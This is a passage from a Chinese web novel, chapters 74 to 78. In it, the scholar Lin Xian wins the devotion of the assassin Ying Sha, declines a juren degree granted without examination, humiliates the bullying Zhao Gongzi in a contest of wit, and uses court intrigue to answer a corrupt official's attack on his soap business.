看似为朝廷立下大功,却也在不知不觉中,同时引起了赵王对他的一丝好感和太子阵营初现的猜疑。
真正的风暴,或许才刚刚开始。
第七十四章 酒后情愫:影刹动情
林闲成功说服“混天蛟”张魁接受招安,兵不血刃地化解了永昌府的危机后并没有多做停留。
他带着影刹趁夜色,悄然撤离。两人在城外一处隐秘的酒楼落脚,暂作休整。
此刻屋内烛火摇曳,映照着两人略显疲惫却兴奋的脸庞。
经历了一场深入虎穴、论战群匪的生死考验,一种并肩作战的默契在空气中弥漫。
影刹叫了几样精致小菜和一壶本地佳酿,与林闲在雅座里对坐小酌。
几杯温酒下肚,影刹清冷的面容泛起红晕。
她看着烛光下林闲从容淡定的侧脸,想到他今日在匪巢中谈笑风生、化险为夷的风采,再想到他数次赠药解毒、指点迷津的恩情,心中压抑已久的情感如潮水般涌动,再也无法控制。
“先生……”
影刹放下酒杯,声音微颤道。
她眼波流转间少了平日的杀伐,多了几分小女子的依恋:“今日若非先生神机妙算胆识过人,永昌府亦将沦为焦土。先生之力鬼斧神工。影刹……真不知如何仰慕才算恰当。”
林闲举杯轻呷一口,神色温和笑道:“言重了。这好比下一盘大棋,你我皆是棋手,亦是彼此依托的棋子。此番破局非一人之功,乃天时、地利、人和,缺一不可。我们能兵不血刃,保全一城生灵,便是最大的成功。”
他轻描淡写将这场招安比作下棋,这份举重若轻的气度,更让影刹心折。
影刹借着酒意,鼓起勇气倾诉心声:“先生不知……影刹自幼被赵王收养,训练成**利器,身中剧毒后命如草芥朝不保夕。世间冷暖人心险恶,妾身见得太多……从未……从未有人如先生这般,待我以诚,救我性命赠我解药,更带我见识这棋盘之外的广阔天地……”
她泪光点点,仰头望着林闲宣誓:“影刹……影刹愿此生追随先生,鞍前马后,刀山火海,绝无二心!”
这已是近乎托付终身的誓言。
林闲看着她真情流露、梨花带雨的模样,心中亦有些许触动。
他深知此女身世坎坷,性情坚韧且已成为自己布局中至关重要的一枚暗棋。
他缓缓起身走到影刹面前,没有立刻说话,只是温和注视着她。
随后林闲伸出手,轻轻拍了拍她的肩膀,带着一种令人安心的力量。
紧接着在影刹略带错愕、尚未完全反应过来之际,林闲上前半步,手臂一环,给了她一个界限分明却又充满温度的拥抱。
他的胸膛并不算宽阔却异常安稳,带着书卷的墨香和一丝清冽的皂角气。
影刹窈窕的身躯微微一僵,随即软了下来。
仿佛漂泊已久的孤舟,终于找到了可以短暂停靠的港湾。
她比林闲稍矮,额头恰好抵在他的肩颈处,能感受到他平稳的呼吸和心跳。
一股清雅中带着一丝冷冽的独特幽香,混合着淡淡的酒气,从她发间颈侧传来,萦绕在林闲鼻尖。
这个拥抱一触即分,略有不舍的林闲还是便松开手臂,恢复恰到好处的距离。
但就在那短暂的接触中,影刹仰起的脸上,那双平日清冷如寒星、此刻却泛着水光的眸子,清晰映照出林闲平静而坚定的面容。
她的睫毛颤动着,脸颊上的红晕迅速蔓延至耳根。
“你的心意,我懂。”
林闲柔声宽慰道。
“但眼下你留在赵王身边,如利剑藏于鞘中,锋芒不露却可抵千军万马。你的位置越高能调动资源越多,对我们的‘大业’便越有利。解毒之事包在我身上,我定会为你根除这毒。记住,存人失地,人地皆存。存地失人,人地皆失。你的安全,永远是第一位的。”
这番话语,既有战略层面的清晰规划(“利剑藏鞘”),又有个人层面的深切关怀(“安全第一”),还引用了改编的经典名句(“存人失地”),可谓是格局宏大,思虑周全。
结合那个拥抱,更是让影刹瞬间感受到了一种超越个人情感的、被纳入宏大图景的归属感和使命感。
影刹的泪水瞬间决堤,心中充满了被委以重任的激动与澎湃。
她点头,声音坚定无比:“影刹明白!先生之志,便是影刹之刀锋所向!定不负先生重托!”
次日,永昌府的消息如风般传开。<
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br>“混天蛟”张魁接受招安,所部改编为永昌府地方团练,张魁任团练使。
一场足以燎原的大祸,竟消弭于无形,百姓箪食壶浆,称颂朝廷仁德。
京城,赵王府。
赵王虽然早已通过密报知晓结果,但正式消息传来,确认兵不血刃收服了一支劲旅,他内心依旧十分震撼。
虽然过程与他最初设想的血腥暗杀不同,但结果完美——平息了叛乱,保住了颜面,还顺势安插了一支名义上归自己节制的武装力量(他自认为能控制)。
他自然将首功记在了提出策略并最终执行的影刹身上,对林闲的“从旁协助”也表示了“高度赞赏”,甚至派人向影刹暗示:“转告林先生,此次献策有功,王爷甚慰,先生若有所需,金银田宅,或是一官半职,但说无妨。”
然而林闲通过影刹回复的话,再次让赵王感到了意外:“回禀王爷,林某一介书生,偶献拙策,亦是份内之事,不敢居功。但求地方安宁,百姓乐业,于愿足矣。功名利禄,于我如浮云,王爷厚爱,心领了。”
这番不慕荣利的表态,配合之前“**亮节”的表现,反而让赵王觉得此子“识趣”、“知进退”,虽然立场可疑,但至少暂时不会主动惹事,戒心又减了几分。
同时,为表彰影刹此次立下的“奇功”,赵王正式下令,擢升她为暗影卫在江南地区的总负责人,统辖江南诸路暗探,地位权势较之前有了新飞跃!
影刹,这颗被林闲反手布下的棋子,就此掌握了更大的资源、更广的情报网络,真正成为了深植于赵王势力核心的一枚“暗棋”。
消息传回,林闲只是淡淡一笑对影刹道:“位置越高责任越大,风险也越大。切记,和光同尘,韬光养晦。”
影刹心领神会,嫣然一笑告退。
而苏元得知永昌之乱平息,且听闻林闲在其中发挥了关键作用,更是芳心暗喜,对林闲的倾慕又深了一层。
只是她有些忧虑,东宫身边那位奸臣的谗言,也已如种子般在太子心中悄然种下……
棋局,似乎越来越复杂了。
第七十五章 天降祥瑞:文曲托梦,要授举人?
时光在蝉鸣里,已悄然到了七月底。
此时距决定全体秀才考生命运的秋闱,仅剩不到半个月。
原本才子聚会的风雅茶楼里,都开始弥漫着墨汁的硝烟味。
就在这节骨眼上,一则重磅消息如巨石投湖,瞬间席卷天下!
原来三天前皇帝批阅奏章至深夜,困倦伏案小憩时竟得一奇梦。
梦中文曲星君脚踏七彩祥云,手持白玉笏板,仙光缭绕降临御前。
他声如洪钟却又缥缈玄妙:“陛下乃紫微帝星临凡统御四海,然东南之地有文曲分魂转世,托生为一青年才俊,身负经天纬地之才,将于今科显名辅佐圣主,开创千秋盛世!”
言毕星君化作一道璀璨金光,如流星般投向东南方向消失不见。
陛下惊醒后,梦中之景历历在目。他龙颜大悦,视为天降吉兆。
翌日早朝便将此梦告知群臣,询问众卿之意。
此梦一出,朝野震动!
文曲星君托梦,暗示江南有才子乃星君分魂转世,这不仅是祥瑞更关乎国运和本届科举取士的导向。
一时间,金銮殿上炸开了锅!
文武百官交头接耳,议论纷纷。
太子周扬敏锐意识到这是个绝佳的机会,可以名正言顺尝试安插自己人。
他立刻整冠出列,躬身激动奏道:“父皇!此乃上天垂青降下吉兆,预示我大周文运昌隆人才辈出。儿臣以为为彰显陛下求贤若渴之心,顺应天意或可特开恩典。于江南士子中,择其声名卓著、才学品行俱佳者,由朝廷重臣联名保举,免于秋闱煎熬直接赐予举人功名。破格擢用,以示皇恩浩荡!”
他悄悄抬头,见皇帝捋须点头这才暗喜继续道:“儿臣相信,父皇此举必能激励天下学子感念圣德,潜心向学!”
太子的算盘打得精响,想趁机将自己派系的年轻才俊直推上快车道,绕过惨烈的秋闱独木桥。
之前那位奸臣近臣的独子,恰好在太子脑海中的拟推荐名单里。
可令所有**跌眼镜的是,一向与太子唱反调的赵王,此次却并未出言反对。
他反而在太子奏罢、群臣窃窃私语之际,不紧不慢踱步出列,脸上甚至还带着一丝“深以为然”的表情拱手道:“太子殿下所言,老成谋国,句句在理!”
这一句“老成谋国”,差点让太子闪了腰。
满朝文武更是目瞪口呆,以为太阳打西边出来了!
赵王无视众人惊诧的目光,继续朗声道:“天降祥瑞,星君托梦,确乃国之幸事,父皇洪福齐天!顺应天意,破格取才,正当其时!”
他话锋一转,图穷匕见:“儿臣近日亦听闻江南有一奇才,或与星君梦兆相合。此人名曰林闲,江陵府人士,虽年岁稍长(他含糊带过),然才思之敏捷实为罕见。其府试连中案首,陛下亦曾亲赐一等秀才,享举人待遇。此子不仅经义纯熟,更难得的是于格物致用之道别开生面,所创香皂、防晒霜等物,利国利民风靡江南。前番永昌府民变,危急关头亦是此子深明大义,不顾个人安危暗中献上安抚妙策,方能力挽狂澜免了一场兵连祸结!此等才华,此等品行,颇有古人立德、立功、立言之遗风,或正应了星君所言身负大才之兆!儿臣愿担保林闲免试入举,以示朝廷不拘一格降人才之圣德!”
赵王这一番话,堪称教科书级的捧杀与捆绑!
他绝口不提林闲与太子系的暧昧关系,反而极力渲染其“格物致用”、“利国利民”、“深明大义”的形象,将其拔高到“立德立功立言”的高度,仿佛不保举林闲就是辜负天意、埋没人才!
其用意极其毒辣:
其一示好皇帝,表明自己毫无私心、一心为公。
其二将林闲这块烫手芋头用“为国举贤”的金丝带精心包装,硬塞到皇帝和太子面前。你太子不是要举贤吗?这就是现成的“大贤”!你举是不举?
其三,若林闲接受这“天上掉下来的举人”,那这“知遇之恩”算谁的?自然是他赵王“力排众议”、慧眼识珠。
林闲身上就打下了他赵王的烙印,看太子还怎么放心用他?这简直是在太子心里扎一根刺!
龙椅上的皇帝闻言,果然露出极大兴趣,他抚须笑道:“林闲?朕确有印象,是个有意思的娃娃。香皂之物,皇后得贡用后亦甚喜之。想不到还有安定地方之功?既是太子先提议恩科,赵王又如此力荐,想必此子确有不凡之处。准奏!着吏部会同翰林院,即刻核查林闲事迹,若所言不虚,便依例特赐举人功名,以应天意!”
“陛下圣明!”
赵王立刻躬身,嘴角勾起一抹难以察觉的冷笑。
太子周扬站在一旁,脸色一阵青一阵白,心里如同吞了只苍蝇般恶心!
他本想趁机安插自己人,结果却被赵王这老狐狸借力打力,硬生生把他既欣赏也忌惮的林闲推到了台前,还用的是他太子提议的恩科!
名额有限,他这次本不想举荐林闲。
如今算是骑虎难下。
他若反对,就是打自己的脸,还是驳皇帝兴头。
若不反对,就等于默认赵王往他未来可能的班底里塞了颗说不清道不明的钉子。
这简直是被赵王当枪使,还替人数钱!
“儿臣……附议。”
太子几乎是从牙缝里挤出这几个字,心中对赵王的恨意,以及
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对林闲那莫名复杂的情绪又深了一层。
消息立马长了翅膀,迅速传出京城,天下哗然!
林闲之名,再次震动士林。
免试直接成为举人?
这是多少寒窗十年的学子梦寐以求却不敢想象的殊荣。
如今,竟然要落在一个大龄秀才头上!
退朝后,京城赵王府。
赵王屏退左右,只留下那位络腮胡的王谋士。
他脸上带着一丝计谋得逞后的玩味笑容,呷了口茶得意道:“今日在朝堂上,本王见太子听到父皇判决后像吞了苍蝇般,真是太痛快了!”
络腮胡谋士捻须微笑,躬身道:“王爷此招借力打力,高明之极。既顺应了天意讨了陛下欢心,又将了太子一军,更将那林闲置于风口浪尖。一石三鸟,佩服。”
赵王得意点头,随即又微微蹙眉沉吟道:“只是……先生以为,那林闲接到这天降的举人功名,会作何反应?他会欣然接受吗?”
络腮胡谋士眼中精光一闪,仿佛早已看透,笃定道:“王爷,以属下对林闲此子心性的观察,他绝不会接受这唾手可得的功名!”
“哦?为何?”赵王挑眉。
王谋士分析道:“林闲此人看似随和,实则骨子里极其骄傲。他重格物致用,更重实至名归。府试案首,是他凭本事考的。一等秀才,是陛下钦赐的才华认可。若此番他接受了这免试举人,在外人看来固然是殊荣,但在他自己心中这功名来得未免太巧近乎施舍,甚至沾上了党争的痕迹。以他的傲气,岂会甘心?”
见赵王若有所思点头,谋士这才继续推测:“依臣愚见,这林闲必定会认为举人功名当凭真才实学,于秋闱考场之上堂堂正正取来,方显男儿本色!否则,他就不是那个论战群匪、屡出奇策的林闲了!”
赵王闻言先是一怔,随即抚掌大笑:“妙!先生此言,真是一语中的!不错,若他林闲真是这等轻易被功名诱惑、甘受摆布之人,反倒不值一提了。他若真拒绝,才显得此子志存高远心性不凡,反倒更印证了其星君转世的潜质(无论真假),陛下恐怕会更欣赏他。而太子那边见林闲连送到手的举人都不要,对其不慕虚荣、忠心难测的猜忌,只怕会更重一分。本王倒要看看,林闲这出戏接下来会怎么唱!”
两人相视而笑,都对林闲可能的“不按常理出牌”充满了期待,也对他未来在朝堂这盘大棋中的走向,更加捉摸不定。
而此刻正对着一卷《中庸》、琢磨着秋闱策论可能从哪个死角出题的林闲还完全不知,自己什么都没做就已经被提名为举人。
他一只脚,已悄然踏入风暴眼中……
第七十六章 用实力去考:拒恩典,守本心
“特赐林闲免试举人”的消息,通过官方邸报和太子、赵王两系的密信渠道,几乎同时传到江陵。
整个府城,瞬间炸开了锅!
无数羡慕、嫉妒、难以置信的目光,如探照灯聚焦在林氏家族和传言即将鲤鱼跃龙门的“文曲星转世”林闲身上。
周学政、李知府、周知县等与林闲交好的官员闻讯,第一时间带着厚礼前来道贺,言语间满是“鹏程**”、“指日可待”的恭维。
林氏族人们更是欣喜若狂奔走相告,认为家族崛起在此一举,祖宗坟头冒了青烟。
免试举人,这意味着林闲直接跳过了千军万马挤独木桥的乡试鬼门关,拥有了直通京城参加明年会试的资格,可谓一步登天,省却了数年乃至十数年的苦熬!
然而处于风暴眼中心的林闲,在接到消息最初的惊讶过后却异常平静,甚至嘴角还勾起一抹意味深长的弧度。
他屏退左右,把自己关在书房里。
对着窗外摇曳的竹影,林闲沉思了整整一个下午,无人知道他在想什么。
傍晚时分,他命人请族中主要成员和闻讯后迟迟不愿离去、想要亲眼见证这“荣耀时刻”的李知府、周知县等人。
客厅内烛火通明,人头攒动。
所有人的目光都热切地聚焦在主位的林闲身上,等待着他说出感恩戴德、接受恩典的话。
在众人期盼、甚至有些迫不及待的目光中,林闲缓缓站起身。
他平静地扫过全场,语气沉稳得像在谈论今晚的月色:“诸位厚爱,林某心领。然此番天恩浩荡,林闲思之再三,决定……不能接受。”
一语既出,满堂皆惊!
空气瞬间凝固!
“爹!您…您这是为何啊?!”
林承宗急得差点跳起来,脸涨得通红。
“爹!这可是天上掉馅饼……不,是掉金元宝的大好事啊!多少人求都求不来!您怎么能……怎么能拒绝呢?!”
儿媳王氏脸色大变,也连忙劝道。
“闲兄!慎言!慎言啊!”
李知府也慌了神连忙劝阻,声音都变了调:“此乃陛下天恩,更是太子殿下与赵王爷两位贵人同时举荐。金口玉言,岂是儿戏?若贸然拒绝拂了圣意,得罪了两位王爷,这……这后果不堪设想啊!”
面对众人的惊愕与劝阻,林闲神色不变,他仿佛早已看透一切。
林闲轻轻抬手,示意众人安静,随即朗声开口,声音不大却字字如珠:“林闲多谢陛下天恩,亦感念太子殿下与赵王爷的抬爱。”
他先礼后兵,话锋随即一转,变得铿锵有力:“然功名二字重于泰山,非施舍可得!举人之位乃国之器重,士之荣耀。当凭真才实学,于考场之上真刀**光明正大取之,方无愧于心,无愧于天地,无愧于士林清议!”
他扫过众人,抛出一连串犀利的反问:“试问若林某因一梦之兆侥幸得之,纵能显赫一时然根基不牢,如沙上筑塔水中捞月终非长久。他日若有人问起:林闲,汝之才学何在?难道要林某答此乃陛下梦中所得?岂不贻笑大方,滑天下之大稽!”
他声音提高,带着不容置疑:“再者林闲寒窗数十载,所盼者乃堂堂正正,与天下英才同场竞技一较高下。秋闱之关固然艰难,却亦是磨砺锋芒之石。绕过此关即便他日中了进士,心中亦留遗憾道心不稳,念头不通达。这好比那还没学会走,就被人硬塞了一匹千里马,看似风光实则一跑起来,难免摔得鼻青脸肿!”
最后他抛出最具说服力的“王炸”:“况且诸位细想,陛下梦兆明文指出文曲星转世将于今科显名。若林某免试入举,未经考场淬炼不战而胜,又如何称得上是于今科显名?这岂不是曲解圣意,有负陛下期盼?林某愿凭自身之力,于秋闱考场之上真刀**金榜题名。如此方是真正应了梦兆,为陛下增光,彰显我朝科举之公正,文运之昌隆!”
这一番话,有理有据,有节有度,有格局有气节!
既表明了不慕虚名、坚守士人风骨的志气,又巧妙化解了“违逆圣意”的风险,更展现了对自身实力的强大自信和宏大格局!
至此,林闲将“拒绝”升华到了“忠于陛下真意、维护科举尊严”的高度!
满堂寂静!
落针可闻!
李知府、周知县等人闻言,先是愕然张大了嘴,随即面面相觑脸上先是难以置信,继而慢慢转变为深深的震撼与由衷的敬佩。
此等胸襟气魄,此等远见卓识,已非常人所能及,简直有古之名臣风范。
“闲兄……不,闲先生!”
李知府率先回过神来,长揖到地语气充满了敬重:“先生之志如山高海深,下官……佩服!五体投地!”
“爹!承宗……受教了!”林承宗也满脸羞愧,低下了头。
说服众人后,林闲当即修书三封。
一封上奏皇帝,言辞恳切而不失风骨,表达对天恩的感激,但谦称自己“德薄才浅,
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恐负天眷”,不敢僭越,恳请陛下允许他“凭尺寸之功,于场屋之中自取”,若得中,方显皇恩浩荡、梦兆不虚。
另两封则分别致谢太子和赵王,感谢举荐之恩,但表明心迹:“闲虽不才,亦知功名当自取,方为长久。愿试锋芒于秋闱,不负知遇。”
奏疏和信件,以最快的速度送往京城。
消息如同旋风般再次传开,**彻底反转。
铺天盖地的赞誉,尽数涌向江陵!
林闲“拒恩科,守本心”的事迹,被士林广为传颂。
其形象瞬间高大如山岳,被誉为“真才实学、气节高洁、深明大义”的当代楷模。甚至连茶馆说书人都编出了新段子:“文曲星拒官记”!
皇宫御书房内,皇帝看到林闲的奏疏后,先是诧异随即抚掌大笑,对左右近侍赞叹道:“好一个林闲!不慕虚名,志存高远,自信磅礴,更难得的是深体朕心(指维护科举公正和梦兆本意)。此子,乃真国士也!”
他对林闲的欣赏,再次达到了新顶点。
京城,赵王府。
赵王接到林闲的谢绝信后,在书房内沉默了许久。
旁边的络腮胡王谋士低声道:“王爷,果然不出所料,此子……拒绝了。”
赵王缓缓放下信纸,眼中精光闪烁。
他非但没有恼怒,反而露出复杂难明的笑意喃喃道:“拒绝了……好!拒绝得好!此子,果然非凡!这份心性,这份格局,这份自信……太子那边,怕是根本驾驭不了这样的大才。”
他看向络腮胡谋士,语气带着发现瑰宝的兴奋:“看来我们之前……还是小看他了。此子绝非池中之物,值得下重注结交!即便不能为我所用,也绝不能推到太子那边成为死敌!”
与此同时,东宫。
太子见林闲不接恩典还在沉思,身边那位阴柔谋士的谗言却恰好再次响起:“殿下,林闲此子连陛下和您的好意都敢拒绝,其心……恐怕不小啊。如此傲气,将来恐难驾驭……”
太子闻言,眼中的欣赏不由得蒙上了一层阴影。心里在奸臣的蛊惑下,对林闲的态度逐渐变了味……
林闲用自己的选择,赢得了真正的尊重和更高的声望,但也让暗中的漩涡更加汹涌。
如今全天下人的目光,都聚焦在了即将到来的秋闱之上。
这已不仅仅是一场科举,更是林闲自证实力、回应期待与质疑的正名之战!
他必须赢得漂亮,赢得毫无争议!
第七十七章 考前:降维打击赵公子
秋闱在即,大街小巷弥漫着无形紧张。
士子们闭门苦读,或埋头于经史子集,或苦练着策论文章,空气中都飘散着墨汁与焦虑。
林闲亦在自家书房潜心钻研。
但他钻研的并非仅仅是圣贤书,还有他闲雅阁下一季主打的“提神醒脑香薰”配方改良。
对他而言格物致用与读书应试,从来都是相辅相成,并行不悖。
然树欲静而风不止。
总有人见不得这份宁静。
省城,按察使司衙门后宅。
赵公子正烦躁摔打东西。
自上次在省城搞诬陷被钦差御史**远当众打脸逃走后,他爹赵宪就严厉警告他近期不许再招惹林闲。
尤其不能动用官府力量以免被吴御史抓住把柄,影响他爹快要进步的仕途。
这口恶气憋在他心里,像一团火在烧。
“爹怕那姓吴的,我可不怕!”
赵明远对心腹狗腿子吼道:“暗的不行,老子来明的!本公子就要在秋闱前亲自去江宁,当着所有人的面狠狠羞辱那姓林的一顿!乱了他的心神,让他考砸!就算不能把他怎么样,也要恶心死他!”
很快实在忍不下的他带着一群恶奴,气势汹汹杀向江宁县。
这日午后,林闲刚将一款加入了薄荷冰片、提神效果极佳的“文思泉涌香”调试完毕,正拿起一篇关于《漕运新策》的草稿准备修改完善。
门外庭院,忽然传来嚣张的喧哗和仆役阻拦声。
“滚开!知道我家公子是谁吗?按察使大人的公子也敢拦?”
只见赵公子领着膀大腰圆的家丁,蛮横推开了林家仆役。如土匪进村般闯进院子,径直朝书房而来!
“林闲!滚出来!本公子今日屈尊降贵,来指点你学问了!”
赵公子人未到声先至,语气充满恶意和挑衅。
林闲眉头微皱,放下手中的笔神起身走出书房。
林承宗和几个族人闻讯也急匆匆赶了过来,他们挡在林闲身前,面露警惕和愤怒。
“啪!”
赵公子见到林闲,打开折扇,随后另一只手无礼指着他讥讽道:“哟!这不是咱们江陵府大名鼎鼎的香皂秀才、防晒案首吗?这眼看就要进那号舍蹲着了,不在家好好闻着你那些女人用的香粉提神醒脑,还在人模狗样捧本书装相呢?”
他故意把“香皂秀才”、“防晒案首”几个字咬得极重,极尽贬低之能事,引得身后那群恶奴发出一阵哄堂大笑。
周围的林家族人闻言,皆面露怒色拳头攥紧。
林闲神色不变,仿佛听到的是犬吠,他扣扣耳朵淡然道:“我道是谁搅扰清静,原来是赵公子。望江楼的凳子还没坐够,公子又想换个地方体验一下‘风土人情’?”
他语气平淡,却带着清晰的逐客令道:“若是诚心探讨经义诗文,林某扫榻欢迎。若是犬吠盈耳蓄意扰人清静,门在那边,不送。”
“探讨学问?哈哈哈!跟你一个整天捣鼓胭脂水粉、讨好女人的闺阁之友探讨学问?”
赵公子仿佛听到了天大的笑话,笑得前仰后合。
他摇摆着香腻的这扇,意味深长道:“本公子今天来,就是想好心提醒你一下,你那些娘们儿唧唧、上不得台面的玩意儿,除了能骗骗深闺妇人、赚几个铜臭,还能有什么屁用?也配叫什么格物致知?也配去考举人?我看你干脆把四书五经都换成《香谱》和《妆台记》,去考个【闺阁大学士】算了!那才叫专业对口!”
面对如此粗鄙不堪、直攻下三路的羞辱。
林闲却不怒反笑,嘴角勾起一抹玩味,仿佛在看一场拙劣的猴戏。
他瞥见院中墙角几株在秋风中傲然绽放、无人问津的野菊花,灵机一动悠然吟道:
“此言差矣!见识浅薄犹如井底之蛙,只看得见碗口大的天。岂不闻:
闺阁之中有至理,粉黛丛里见真章。
香皂去污显仁心,防晒护肤乃体恤。
莫道雕虫是小技,能济苍生即大道!
公子若是不信,觉得此等微末技艺难登大雅之堂,不如也当场赋诗一首。”
他看着赵公子手里那柄卖弄风骚的油腻扇子,坏笑道:“比如说说您手中这柄描金绣凤的玉骨扇,除了扇风赶苍蝇、装帅摆派头,还有何治国安邦、济世救民的高见?也好让林某和诸位乡亲开开眼?”
这即兴的打油诗,既巧妙将自己备受诟病的“香皂防晒”产业拔高到了“仁心”、“体恤”、“济苍生”的“大道”层面,又反将一军,让赵公子这个纨绔子弟当场作诗说明手中玩物的“大用”。
赵公子被这突如其来的“诗战”弄得一愣,他平日只懂吃喝玩乐,哪有什么急才?
他顿时憋得满脸通红抓耳挠腮,搜肠刮肚半天才憋出一句:“我…我这扇子…乃…乃君子之风!象征…象征文雅!”
林闲立刻接口笑道:“哦?君子之风?文雅?却不知是‘扇’风点火、挑起事端之风,还是‘扇’阴风、点鬼火、背后害人之风?公子这‘风’,吹得可真是……‘文雅’得紧啊!”
他巧妙利用了“扇”字的动词含义,极尽嘲讽之
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能事。
“你……你强词夺理!胡搅蛮缠!”
赵公子气急败坏,手指颤抖指着林闲。
林闲却不依不饶,继续用他那套“接地气”的****乘胜追击。
他语气依旧平静,却字字如刀:“公子莫非以为,唯有吟风弄月、空谈性理才是学问?殊不知一粥一饭当思来之不易,皆是民生根本。一针一线蕴含工匠精神,皆有至理存焉。”
林闲瞥了一眼,指着赵公子身上那件绣工精美的杭绸锦袍:“公子身上所穿,从江南蚕农辛勤植桑养蚕,到织女日夜穿梭织就,再到染匠精心调配染印,其中蕴含多少百姓智慧工匠心血?若按公子之高见,这些实实在在创造价值、美化生活的技艺,也都是娘们儿的玩意儿,上不得台面咯?那公子何必穿它?何不效仿那上古先民,寻几片芭蕉叶以蔽体,饮**茹血,方显您返璞归真的君子本色?”
这一连串的类比和反问,逻辑清奇却又难以反驳。
从民生说到工匠精神,再上升到对公子哥生活方式的讽刺,把赵公子噎得瞠目结舌,脸色活像开了染坊。
“噗~”
“哈哈!”
周围原本愤怒的林家人和围观的街坊,此刻也忍不住爆发出哄堂大笑,甚至有人鼓掌叫好!
赵公子见在言语上被全方位碾压,羞辱人不成反被当众戏耍,颜面尽失恼羞成怒却无计可施。
他只得狠狠一跺脚,撂下一句毫无威慑力的狠话:“林闲!你……你给本公子等着!秋闱有你好瞧的!我们走!”
随后便带着那群同样灰头土脸的家丁,在众人的肆意嘲笑和指指点点中,如丧家之犬狼狈不堪逃出林家。
林闲看着他那仓皇的背影,轻掸了掸衣袖淡淡道:“慢走不送。下次若想‘探讨学问’,记得先打好腹稿。”
他仿佛想起什么,补充吆喝道:“对了赵公子!您这君子之风的扇子,下次记得扇点有用的风,比如……扇扇你那快要烧糊了的脑子!”
此言一出,全场瞬间爆发出雷鸣般的哄笑和喝彩!
赵公子一个趔趄,差点摔倒,逃得更快了。
经此一闹,赵公子偷鸡不成蚀把米。
非但没能扰乱林闲心神,反而用自己的愚蠢衬托了林闲的急智与从容,让林闲在街坊和士林中的声望又无形中高了一截。
而林闲则如做了一道趣味脑筋急转弯般,轻松写意转身回到书房,继续修改他的《漕运新策》。
仿佛刚才,只是一段无足轻重的小插曲。
秋闱的脚步,更近了。
第七十八章 借势报仇
话说赵公子在林家受了奇耻大辱,连夜掩面逃回省城。
一见到赵宪他便添油加醋、声泪俱下哭诉:“爹!那林闲……那姓林的狂徒,根本不把您放在眼里!他不仅辱骂儿子,还……还公然嘲讽您,说您管教无方,纵子行凶,说咱们赵家不过是……是沐猴而冠!他还说什么按察使,在他文曲星转世面前,屁都不是!”
赵宪本就因林闲多次让其子难堪、更与钦差御史**远交好而怀恨在心。
此刻闻听此言勃然大怒,一掌狠狠拍在书案上喝道:“岂有此理!区区一个秀才,仗着几分才名和御史些许青睐,就敢如此目中无人欺到本官头上来了!既然抓人不行那就从另一方面入手断他财路,看他还如何嚣张!”
盛怒之下赵宪立刻滥用手中职权,以“涉嫌违规经营、所用原料不明、可能危害百姓健康”等莫须有的罪名,雷厉风行下令查封了林闲在县城的闲雅阁店以及城外正在日夜赶工的香皂作坊。
这还没完,他还派心腹衙役四处散布谣言,诋毁产品“以次充好”、“含有毒物”,企图从根本上摧毁林闲的经济基础和声誉!
此举可谓釜底抽薪,毒辣至极!
不仅断了林闲最重要的经济来源,更在秋闱前最关键的时期,试图用官司诉讼和污名诋毁来干扰他的心神,阻其备考!
消息传来,林家上下震动。
林承宗急得如同热锅上的蚂蚁,团团转:“这可如何是好?作坊被封,流言四起,这……这是要绝我们的路啊!”
处于风暴中心的林闲却异常冷静,嘴角甚至勾起一抹冷笑:“跳梁小丑,终于忍不住动用官面手段了么?”
他知道这已不是简单的意气之争,而是赵宪动用官方权力的无耻打压。
硬碰硬,眼下绝非上策。
他立刻启动了应急预案,双管齐下。
一方面,他让林承宗稳住族人和作坊工人,公开发表声明:“身正不怕影子斜,闲雅阁产品经得起任何检验!我等积极配合官府调查,相信公道自在人心!”
此举实则以退为进拖延时间,并暗中动用周知县、李知府等关系暗中斡旋,尽量将查封的直接影响降至最低。
另一方面,他则加急通过秘密渠道,联系了已深入赵宪势力核心的“暗香”柳如丝。
柳如丝很快传来密信,而这次的情报内容,让即便是林闲也微微吃了一惊。
局势之复杂,远超他之前的预料!
柳如丝汇报内容,真是爆了个猛料。
首先赵宪的真实主子并非赵王,而是另一位权势滔天的亲王——汉王!
他表面依附赵王,实则是汉王多年前重金埋下的暗桩,是汉王楔入江南的一颗关键钉子,平时利用赵王系招牌做掩护,为汉王疯狂敛财、搜集情报、培植私兵势力。
其次本省大佬巡抚孙有道实际上同样并非赵王心腹,而是个首鼠两端的老油条!
他自成一体,明面上对赵王虚与委蛇,暗地里却与赵宪勾结极深,共同贪墨漕粮、操纵刑狱、卖官鬻爵,分赃获利,形成了牢固的利益共同体。
孙有道利用赵宪的汉王背景和赵王招牌为自己谋利,而赵宪则依靠孙有道的巡抚职权保驾护航。
另外此次查封,恐非单纯私怨。
赵宪此举,既有报复之心也是一次试探和挑衅。
他想看看太子系和赵王系对此事的反应,甚至可能想借打击先生来向汉王表功,同时试探孙有道的态度和赵王系的底线。
这情报如同拨云见日,瞬间揭示了本省最高层权力格局的真相。
并非简单的太子派VS赵王派,而是汉王暗桩(赵宪)+骑墙派官僚(孙有道)相互勾结、共同牟利的复杂局面!
赵王系,反而在某种程度上被蒙蔽和利用了!
林闲看完密信,眼中精光爆闪。
他非但没有担忧,反而露出了棋手找到破局关键子的兴奋笑容!
“好一个蛇鼠一窝,各怀鬼胎!既然如此就别怪我借刀**,分而治之了!”
一个更为精妙狠辣的反击计划,瞬间在他脑中成形——他要同时给太子和赵王“精准投喂”情报和策略,驱动这两把最锋利的“刀”,去斩杀共同的敌人!
他并未急于立刻反击,而是冷静地做了两件事:
第一,他让柳如丝将搜集到的关于赵宪与汉王秘密往来、以及赵宪与孙有道共同贪腐的确凿证据(如秘密账册副本、往来密信摘要、赃款流向等)整理抄录,严密保管,作为关键时刻的**锏。
第二,他分别修书两封密信。
一封通过苏元的绝密渠道,火速呈送太子。
虽然太子有所猜疑但毕竟帮过他一次,所以这次他想彻底还清这个人情。
在信中他详细说明了赵宪的汉王暗桩身份,并揭露了巡抚孙有道与赵宪沉瀣一气、共同贪腐的事实。
指出此二人盘踞本省实为毒瘤,对太子未来经略江南危害巨大。
林闲建议太子设法推动朝廷,彻查漕运、刑名旧案,一举扳倒赵、孙二人!
同时,他提出关键的战略建议:“扳倒二人后,空出的巡抚职位至关重要,太子可争取安插可靠人选;而按察使一职,或可作适当让步,以换取赵王系在此事上的合作与沉默。”
另一封则通过影刹的渠道,确保能直达赵王核心智囊。
在传递的信息中,则重点强调:
赵宪实为汉王奸细,欺瞒利用王爷多年,并与巡抚孙有道勾结,严重损害王爷利益与声誉(如漕运利益被汉王系截留、刑名权力被孙有道
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架空等)。
建议赵王清理门户整肃内部,并趁机将按察使这一要职牢牢掌控在自己手中。
